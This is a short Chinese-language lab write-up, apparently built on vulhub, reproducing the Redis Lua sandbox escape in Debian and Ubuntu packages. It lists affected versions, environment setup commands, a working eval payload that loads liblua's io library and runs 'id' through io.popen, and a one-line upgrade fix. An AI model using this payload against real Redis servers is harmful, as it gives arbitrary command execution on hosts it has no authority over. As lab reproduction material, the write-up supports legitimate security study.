漏洞介绍
Redis是著名的开源Key-Value数据库,其具备在沙箱中执行Lua脚本的能力。Debian以及Ubuntu发行版的源在打包Redis时,在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。
影响版本
2.2 <= redis < 5.0.13
2.2 <= redis < 6.0.15
2.2 <= redis < 6.2.5
漏洞复现
环境搭建
更新vulhub
git pull
启动漏洞环境
docker-compose up -d
漏洞利用
安装redis-cli工具
apt-get update
apt-get install redis-server
使用redis-cli工具连接redis数据库
redis-cli -h 127.0.0.1 -p 6799
发送恶意代码,可以看到回显数据为执行命令id的内容
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
修复建议
更新至最新版本
【牛角尖扎人,都不如刀子嘴戳人来得厉害】